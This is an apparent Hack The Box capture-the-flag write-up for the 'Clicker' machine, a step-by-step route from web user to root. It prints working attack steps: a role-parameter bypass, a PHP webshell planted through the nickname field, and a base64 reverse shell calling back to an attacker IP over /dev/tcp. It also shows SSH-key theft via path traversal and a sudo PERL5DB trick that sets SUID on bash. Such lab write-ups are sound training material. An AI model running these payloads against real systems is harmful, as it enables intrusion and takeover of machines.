Post

HTB Clicker Writeup

Machine Info

Clicker is a Medium Linux box featuring a Web Application hosting a clicking game. Enumerating the box, an attacker is able to mount a public NFS share and retrieve the source code of the application, revealing an endpoint susceptible to SQL Injection. Exploiting this vulnerability, an attacker can elevate the privileges of their account and change the username to include malicious PHP code. Accessing the admin panel, an export feature is abused to create a PHP file including the modified username, leading to arbitrary code execution on the machine as www-data. Enumeration reveals an SUID binary that can access files under the home folder of the user jack. By performing a path traversal attack on the binary, the attacker is able to get the SSH key of jack, who is allowed to run a monitoring script with arbitrary environment variables with sudo. The monitoring script expects a response to a curl request in XML format. The attacker, by setting the http_proxy variable, is able to intercept and alter the response to the script, in order to include an XXE payload to read the SSH key of the root user. Finally, the attacker is able to use the SSH key and get access as the root user on the remote machine. Related Academy Modules

Shell as www-data

Enumeration

nmap -sC -sV -p- -T4 --min-rate=9326 --vv 10.10.11.232 | grep port

1
2
3
4
5
6
7
8
9
10
11
12
Scanning 10.10.11.232 [2 ports]
Scanning clicker.htb (10.10.11.232) [65535 ports]
Discovered open port 80/tcp on 10.10.11.232
Discovered open port 22/tcp on 10.10.11.232
Discovered open port 111/tcp on 10.10.11.232
Discovered open port 36657/tcp on 10.10.11.232
Discovered open port 40287/tcp on 10.10.11.232
Warning: 10.10.11.232 giving up on port because retransmission cap hit (6).
Discovered open port 39515/tcp on 10.10.11.232
Discovered open port 59781/tcp on 10.10.11.232
Discovered open port 2049/tcp on 10.10.11.232
Discovered open port 38577/tcp on 10.10.11.232

NFS SHARE

NFS : NFS, or Network File System, serves as a cross-platform protocol designed for sharing directories and files seamlessly across different operating systems over a network. This technology empowers remote systems to function as though they are local when the shared resources are mounted, granting users access based on the privileges assigned to each specific share. When NFS is improperly configured, it can potentially expose vulnerabilities that malicious actors may exploit to gain unauthorized access to sensitive data or even establish a shell on the target system.

mkdir -p /mnt/nfs_file_shares cd /mnt mount -o nolock 10.10.11.232:/ /mnt/nfs_file_shares cd nfs_file_shares/mnt/backups

Read-only acceptable on /mnt so we need move that zip to another directory

cp clicker.htb_backup.zip /tmp unzip clicker.htb_backup.zip cd clicker.htb

U can see here we have the source code on clicker.htb

1
2
3
4
┌──(root㉿kali)-[/tmp/clicker.htb]
└─# ls
admin.php  authenticate.php   db_utils.php    export.php  index.php  login.php   play.php     register.php
assets     create_player.php  diagnostic.php  exports     info.php   logout.php  profile.php  save_game.php

There have form register and login let’s we create account and login . I’ve looked in create_player.php file Do not allow special character .

There just appearing profile , Logout and play let’s we check play first . On play.php is clicker also have clicks numbers and levels . Now we’ll try read source code in play.php

in play.php can modify your role user to superuser

Crlf Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /save_game.php?clicks=2&level=0 HTTP/1.1

Host: clicker.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://clicker.htb/play.php

Cookie: PHPSESSID=voblvqcsb65iskh39749pk4fn1

Upgrade-Insecure-Requests: 1

U need some click to save it, and cann see there using save_game.php go back to linux to read source code save_game.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
	$args = [];
	foreach($_GET as $key=>$value) {
		if (strtolower($key) === 'role') {
			// prevent malicious users to modify role
			header('Location: /index.php?err=Malicious activity detected!');
			die;
		}
		$args[$key] = $value;
	}
	save_profile($_SESSION['PLAYER'], $_GET);
	// update session info
	$_SESSION['CLICKS'] = $_GET['clicks'];
	$_SESSION['LEVEL'] = $_GET['level'];
	header('Location: /index.php?msg=Game has been saved!');
	
}
?>

Here file the code see the strtolower($key) === 'role') to modify role to user administrator the parameter is role , But something prevent to modify , if there is no obstacle you can modify role=Admin easily. But there is an obstacle we need bypass it.To knows role name you can check in admin.php file there used Admin Role

1
if ($_SESSION["ROLE"] != "Admin") {

We try Crlf Injection to privilege escalation to Administrator

Crlf Injection - Hacktricks

Back to play.php to crlf injection it click some clickers and save the game with intercept burpsuite

Add this parameter role%0d%0a=Admin like this request below

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /save_game.php?clicks=5&level=0&role%0d%0a=Admin HTTP/1.1

Host: clicker.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://clicker.htb/play.php

Cookie: PHPSESSID=voblvqcsb65iskh39749pk4fn1

Upgrade-Insecure-Requests: 1

Go back to index.php to see if anything has changed but … is not changed lol we try relogin and we got access Administration Portal XD

Administration was appended now we’ve privilege user to superuser

Go to Administration and we try export it

Manipulation export file

Look here. I’ve shown you two tabs for browsers. There were only exports for the top players; Clicker only appeared. After I exported it, it was automatically saved as a txt file, and there were shown the directory name and file name.There are 3 extensions to save: txt, json, and html. Now let’s export it with Capture in Burpsuite.

Look at the request on parameter ‘extension’. There was a txt extension. I’ll try changing the extension from txt to php because this website uses PHP, so I just want to see if it’s working or not. So now I’ve changed txt to php and it was saved as php.

Create nickname malicious php code

It’s changed to PHP code, so I’ll try to put malicious code on the nickname and change the extension to PHP. But to create malicious code, we need to use special characters, but register.php does not accept special characters, so we need to use another way.

we need change it my nickname user using code php

Read the file authenticate.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
session_start();
include_once("db_utils.php");

if (isset($_POST['username']) && isset($_POST['password']) && $_POST['username'] != "" && $_POST['password'] != "") {
	if(check_auth($_POST['username'], $_POST['password'])) {
		$_SESSION["PLAYER"] = $_POST["username"];
		$profile = load_profile($_POST["username"]);
		$_SESSION["NICKNAME"] = $profile["nickname"];
		$_SESSION["ROLE"] = $profile["role"];
		$_SESSION["CLICKS"] = $profile["clicks"];
		$_SESSION["LEVEL"] = $profile["level"];
		header('Location: /index.php');
	}
	else {
		header('Location: /login.php?err=Authentication Failed');
	}
}
?>
1
`$_SESSION["NICKNAME"] = $profile["nickname"];` 

The param is nickname so we just append nickname on play.php to update our nickname with php malicious code

just we dont need bypass because role only need bypass because something prevent it .

&nickname=<%3fphp+system($_GET['cmd'])+%3f> just add this only at the param save_game.php this is code for remote code execution php . Decode the php code to url encode . To get top player in leaderboard clicker you can change your clicker to 999999999999 to appear in leaderboard . CREATE A NEW ACCOUNT AND CHANGE CLICKER NUMBER AND ADD CRLF INJECTION PAYLOAD TO MODIFY ROLE . AFTER THAT FORWARD AND DO IT AGAIN WITH ADD NICKNAME , because i’ve did it all at once but it didn’t work.

Now check in leaderboard

Look here my name is blank because i’ve added php code malicious so now i’ll change extension to php

Remote Code Execution

Add &cmd=$COMMAND because the webshell code is used $GET_ cmd

To revshell we using echo command with base64 decode and bash to revshell

Without Url Encode

1
echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIyLzEzMzcgMD4mMQ==" | base64 -d | bash

With url encode

1
echo%20%22c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIyLzEzMzcgMD4mMQ==%22%20|%20base64%20-d%20|%20bash

There is base64 decode so to create a revshell payload you can generate here Revshells Change bash to sh

Shell as jack

1
2
3
4
5
6
7
─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.122] from (UNKNOWN) [10.10.11.232] 41614
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

Netcat was connected so now we just need get the user

1
2
3
$ cat /etc/passwd | grep /home
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
jack:x:1000:1000:jack:/home/jack:/bin/bash

Only jack user was registered on /etc/passwd i’ll try find user group jack using find command

1
2
3
4
5
6
$ find / -group jack 2>/dev/null
/home/jack
/var/crash/_opt_manage_execute_query.1000.crash
/opt/manage
/opt/manage/README.txt
/opt/manage/execute_query

Now we goes to /opt/manage to get a password or priv8 keys

There have a README.txt file maybe that is guide to using that tools

1
2
3
4
5
6
7
8
$ cat README.txt
Web application Management

Use the binary to execute the following task:
	- 1: Creates the database structure and adds user admin
	- 2: Creates fake players (better not tell anyone)
	- 3: Resets the admin password
	- 4: Deletes all users except the admin

Directory Traversal

there is option to using the tools but no one option how to read the file because we need find the priv8 key

I know now option number above 5 is using for read a file so now we can get priv8 keys jack because execute_query have permission as jack , but it’s not working so i think we can read file with directory traversal lets we try

./execute_query 5 ../../../etc/passwd

It’s worked and there can read the /etc/passwd file so now we just try to get ssh key

./execute_query 5 ../.ssh/id_rsa

I’ve got priv8 key jack so now we just login

chmod 600 id_rsa

1
2
3
# ssh jack@clicker.htb -i id_rsa
Load key "id_rsa": error in libcrypto
jack@clicker.htb's password: 

The id_rsa it’s error let’s we check . We need to remove —– on id_rsa and recreate this —– line. the lines must have 5

ssh -i id_rsa jack@clicker.htb

Successfully login now we try run sudo -l to see jack have permision root or not

Shell as root

1
2
3
4
5
6
7
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

After many inspections, I noticed that this file actually calls /usr/bin/echo and /usr/bin/xml_pp. /usr/bin/echo is a binary file and nothing special. But /usr/bin/xml_pp is using Perl script to run.

There script are using perl . The vulnerability is perl_startup also we can execute this script with with root privileges , We can using perl_startup to execute command with root access

Perl_startup

Exploit-DB : Exim — ‘perl_startup’ Local Privilege Escalation

sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh

bash -p

1
2
id
uid=1000(jack) gid=1000(jack) euid=0(root) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

echo 'root:123' | chpasswd --crypt-method SHA512 su root

  • password:123
1
2
root@clicker:/home/jack# id
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.